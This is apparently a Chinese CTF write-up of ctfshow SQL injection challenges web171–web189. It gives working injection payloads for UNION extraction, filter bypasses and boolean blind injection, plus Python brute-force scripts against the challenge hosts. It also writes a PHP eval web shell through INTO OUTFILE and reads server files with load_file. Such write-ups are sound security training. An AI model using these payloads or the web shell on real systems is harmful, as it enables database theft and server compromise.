【ctfshow--sql注入】

web171 闭合语句

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

可以控制GET传参,因为username不能等于flag,但是题目大概率是存在一个以flag命名的数据,所以这里得要闭合前面的语句

0'or 1=1--+

在这里插入图片描述
成功脱出所有的数据

这里演示一下,存在注入一般的操作方法

-1' union select 1,2,database() --+     //得到数据库名为ctfshow_web

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+     //得到数据表名为ctfshow_user

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+      //得到列名为id,username,password

-1' union select 1,2,group_concat(username,':',password) from ctfshow_user --+

web172 编码绕过

相对于上一题,这里新加了一个返回结果过滤
在这里插入图片描述
联合查询注入 只返回password

1、联合查询当前数据库下的所有表

1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()%23

2、
将用户名和密码字段都进行编码,就可以绕过检测

-1' union select to_base64(username),hex(password) from ctfshow_user2 --+

或者,只查询password字段也可以,下面的方法都可以

1' union select password,2,3 from ctfshow_user2%23

-1' union select id,password from ctfshow_user2 where username='flag

没有出现username字段,也可达到绕过的效果

web173

回结果中不能有flag关键字

和上一题基本一样,只不过多了一列,补上id即可,在查询表的时候,要保证查询的列数字段一致

-1' union select id,id,password from ctfshow_user3 where username='flag

第二种方法
查看所有数据库–》查看当前数据库—》查看表—》查看列—》查看字段

#查看当前数据库
id=-1' union select 1,2,(select database()) --+ 
#查看所有数据库
id=-1' union select 1,2,group_concat(schema_name)from information_schema.schemata --+ 
#查看 ctfshow_web数据库下的所有表名字
id =-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+ 
id =-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23 
#查看 ctfshow_user3 表下字段
id =-1'union select 1,2,group_concat(column_name) from  information_schema.columns where table_name='ctfshow_user3'--+ 
#获取 ctfshow_web库ctfshow_user3表下所有字段
id =-1'union select 1,2,group_concat(column_name) from  information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user3'--+ 
# cat flag
id = -1' union select 1,2,(select password from ctfshow_user3 where username='flag') %23

web174 特殊字符替换数字

返回结果过滤了数字,flag中可以就会有数字

我们需要做的就是使得返回结果里不能有数字
在这里插入图片描述
主要就是理解这个递归替换的payload

-1' union select 'a', replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(b.password,"0",")"),"9","("),"8","*"),"7","&"),"6","^"),"5","%"),"4","$"),"3","#"),"2","@"),"1","!")from ctfshow_user4 as b where b.username = 'flag

web175 mysql写入文件

//检查结果是否有flag
if(!preg_match(‘/[\x00-\x7f]/i’, json_encode($ret))){
$ret[‘msg’]=‘查询成功’;
}

在这里插入图片描述
过滤了0-127

理解一下json_encode

$book = array('a'=>'xiyouji','b'=>'sanguo','c'=>'shuihu','d'=>'hongloumeng');
$json = json_encode($book);
echo $json;

运行结果

{"a":"xiyouji","b":"sanguo","c":"shuihu","d":"hongloumeng"}

json_decode() 对JSON数据进行解码,转换为PHP变量

尝试从其他信道将数据带出,尝试写入文件,把我们想要的结果写入文件中,这样我们就可以直接访问,不用通过sql语句进行查询

payload

 ?id=1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'--+

在数据库中into outfile语句表示把数据导出到一个文件中
可以写文件,都可以直接写shell

?id=1' union select 1,'<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php'--+

然后,在配置文件中找到数据库密码,进行连接
./api/config.php
在这里插入图片描述
利用蚁剑,连接数据库
在这里插入图片描述

web176 大小写绕过关键字

在这里插入图片描述
对select进行过滤,但是没有对大小写都进行过滤,使用大小写进行绕过

?id=-1'union Select 1,2,password from ctfshow_user where username='flag';#

web177 绕过空格的替代方法

这一题,对空格有过滤,而且也过滤了绕过空格方法的–+
那还有其他的方法继续绕过
有相同作用的注释符:

可用 

/**/ 
第一种方法:

制表符(url编码为%09)
换行符(%0a)
%0a
%0b
%0c
%0d
%09
%a0(在特定字符集才能利用)
以上均为URL编码

第二种方法:
括号()

第三种方法:
反引号 ` 代替空格

第四种方法:
/**/
id=-1'union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag';%23

或者

# ()中的空格也可用 ` 替代  某些情况下
-1'union/**/select/**/1,2,(select`password`from`ctfshow_user`where`username`='flag')%23

web178 %0a代替空格

过滤空格替换的/**/
这里用换行符%0a进行绕过空格
payload

-1'union%0aselect%0a1,2,(select`password`from`ctfshow_user`where`username`='flag')%23

web179 %0c代替空格

空格类型被转换,%0a也被过滤了
这里用%0c进行替换

# 只有一处空格替换,更加方便
-1'union%0cselect'1',2,(select`password`from`ctfshow_user`where`username`='flag');%23

web180 过滤了注释#,其他方法?

对#(url编码为%23)进行了过滤
如果还想达到这种效果,无非就是两种可能:
第一种,绕过注释

# 避开结尾注释
-1'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'2

第二种,换个注释方法

#有结尾注释   **%0c--%0c**
-1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c--%0c

web181 逻辑运算绕过

题目

//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0\x23|#|file|into|select/i’, $str);
}

这里影响比较大的是,过滤了空格和select
这里利用逻辑运算的优先级绕过前面的usename!=flag的逻辑
payload:

where username !='flag' and id = ''or(id=26)and'1'='1' limit 1
where (username !='flag' and id = '')or(id=26 and'1'='1') limit 1

解释:
因为or的存在,相当于要select两次,但又因为or左边是为0的,右边为id=26,所以只select右边
完整的sql语句变为:select id,username,password from ctfshow_user where id=26 limit 1

web182 通配符

题目

//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|#|file|into|select|flag/i’, $str);
}

两种方法:

#继续使用上一个payload
'or(id=26)and'1'='1
#or逻辑绕过和通配符的使用
-1'%0cor%0cusername%0clike'%fla%

web183 like和regexp

题目

//拼接sql语句查找指定ID用户
$sql = “select count(pass) from “.$_POST[‘tableName’].”;”;
//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into/i’, $str);
}

regexp匹配

import time
import requests
url="http://8d391ede-a75b-4bd1-a54b-eda509b10dd3.challenge.ctf.show/select-waf.php"
flagstr="}abcdefghijklmnopqr-stuvwxyz0123456789{"#根据ctfshow的flag格式而判定的
flag=""
for i in flagstr:
    time.sleep(1)
    for x in flagstr:
        data={
            "tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)#其实regexp像是like的使用方法,注意这里过滤了空格,用反引号来替代
        }
        print(data)
        response=requests.post(url,data=data)
        if response.text.find("$user_count = 1;")>0:#查看查出的数据是否为1列
            print('--++++++{}is yes'.format(x))
            flag=flag+x
            print(flag)
            break
        else:
            print('--++++++{}is no'.format(x))
            continue

print(flag)

like匹配

import requests
import sys

url = 'http://51880bae-1a81-4165-a92c-231924e3182a.challenge.ctf.show/select-waf.php'
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
flag = 'ctfshow{'

for i in range(0,150):
    for j in letter:
        payload = {"tableName":"(ctfshow_user)where(pass)like'ctfshow{}%'".format(flag+j)}#%这里的意思是对后面的f*,f开头的都匹配
        r = requests.post(url=url,data=payload).text
        if "$user_count = 1;" in r:
            flag+=j
            print(flag)
            break
        if j=="}":
            sys.exit()

web184

在这里插入图片描述

这里相比起上一题过滤的更多,还过滤的where
用having代替where

import time
import requests
url="http://320f82f5-dbd1-42ad-9690-136780779516.challenge.ctf.show/select-waf.php"
flagstr="}abcdefghijklmnopqr-stuvwxyz0123456789{"#根据ctfshow的flag格式而判定的
flag="ctfshow{"#学会规定前缀,要不然有些数据只能刨除一部分

def asc2hex(s):
    a1 = ''
    a2 = ''
    for i in s:
        a1+=hex(ord(i))
    a2 = a1.replace("0x","")
    return a2

for i in range(100):
    time.sleep(1)
    for x in flagstr:
        data={
            "tableName":"ctfshow_user group by pass having pass like {}".format("0x"+asc2hex(flag+x+"%"))#其实regexp像是like的使用方法,注意这里过滤了空格,用反引号来替代
        }
        print(data)
        response=requests.post(url,data=data)
        if response.text.find("$user_count = 1;")>0:#查看查出的数据是否为1列
            print('--++++++{}is yes'.format(x))
            flag=flag+x
            print(flag)
            break
        else:
            print('--++++++{}is no'.format(x))
            continue

print(flag)

方法二
通过 SQL join 规避 where

web185 chr()函数将数字转义为字符

//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|’|"|union|`|sleep|benchmark/i’, $str);
}

过滤了数字,自己构造
在这里插入图片描述
在这里插入图片描述
并且过滤了 " ' 不能使用 concat(‘str’,‘str’) 进行拼接,字符与数字都需要自己构造 通过chr() 函数将数字转义为字符

import requests

#将字母转为数字
def reNum(n):
    a = "true"
    for i in range(n-1):
        a += "+true"
    return a[0:]

#返回字符串
def reNum_to_Str(m):
    str = ""
    for i in m:
        str += ",chr("+reNum(ord(i))+")"
    return str[1:]                       # 去掉开头的 ,这里加逗号的原因是要配合concat

url = "http://0690b5d3-e8cf-49c3-b254-288cac328bf2.challenge.ctf.show/select-waf.php"

flagstr = "{abcdefghijklmnopqrstuvwxyz-0123456789}"
flag = "ctfshow{"
for i in range(0, 50):
    for x in flagstr:
        data = {
            "tableName":"ctfshow_user group by pass having pass like(concat({}))".format(reNum_to_Str(flag + x + "%"))
        }
        response = requests.post(url,data).text
        if "$user_count = 0;" not in response:
            flag += x
            print(flag)
            break
    if x == "}":
        break;

print("finish")

web186

上一题可以依旧使用

web187 mysql的特性

题目
在这里插入图片描述
返回逻辑


    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }
      

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

这里的传入的password被md5加密了

mysql中,or 语句后面只要是一个1开头的,那就整个结果就是true

mysql的md5万能密码

ffifdyop

在这里插入图片描述
不知道这里为什么用bp才看得到结果,网页查看源代码什么都看不到

在这里插入图片描述

web188 mysql弱类型比较

如 ‘4ad’=4
字符串与数字进行比较的时候,mysql会自动将字符串转为数字
而当数字为0,且字符串开头不为其他数字时,弱类型恒成立

在这里插入图片描述
查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑

//用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

这里的密码校验是弱比较,所以存在漏洞

0和字符串弱比较时就是相等的。

在这里插入图片描述
判断是数字还是字符串类型的注入
order by
分析:
字符型执行的sql语句为select * from user where id=‘1 order by 9999 --+’,注释符【- -】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=‘1 order by 9999 --+’。最终只会截取前面的数字,返回id=1的结果。
如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 --+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。

或者使用逻辑判断,就是根据经验来猜测到底是数字还是字符类型的注入

比如一般来说id一般都是数字类型的,name一般都是字符串类型的

web189 布尔盲注

在这里插入图片描述

load_file函数的作用

1.文件读取函数load_file()
LOAD_FILE()函数读取一个文件并将其内容作为字符串返回

sql中要是想截取某个字段值作为匹配条件怎么办呢,这里可以使用substr()函数了。下面请看例子吧。

substr(string ,pos,len)
string:指定字符串
pos:规定字符串从何处开始,(这里的第一个位置是1而不是0)为正数时则从字段开始出开始,为负数则从结尾出开始。
len:要截取字符串的长度。(是从1开始计数而不是0)

当我们输入错误的时候,无回显
在这里插入图片描述
当查出有数据的时候,存在回显
在这里插入图片描述

标志性\u8d25

import requests
import time
flag=""
url="http://cb69b190-78d8-40f4-ba47-c09fcae25834.challenge.ctf.show/api/index.php"
flagstr="}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

for i in range(257,257+60):#这里为什么是从257开始应该是wp做了最优的优化,设置出来的
    time.sleep(0.3)
    for x in flagstr:
        data={
            'username':"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),#注意这里是mysql的语句,不是python的
            'password':"0",#继续使用弱比较,0与字符串的比较
        }
        print(data)
        time.sleep(0.3)
        respond=requests.post(url=url,data=data)
        if respond.text.find("8d25")>0:
            print('{}is ----+++++---right'.format(x))
            flag+=x
        else:
            print('{}is ----+++++---wrong'.format(x))

    print(flag)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值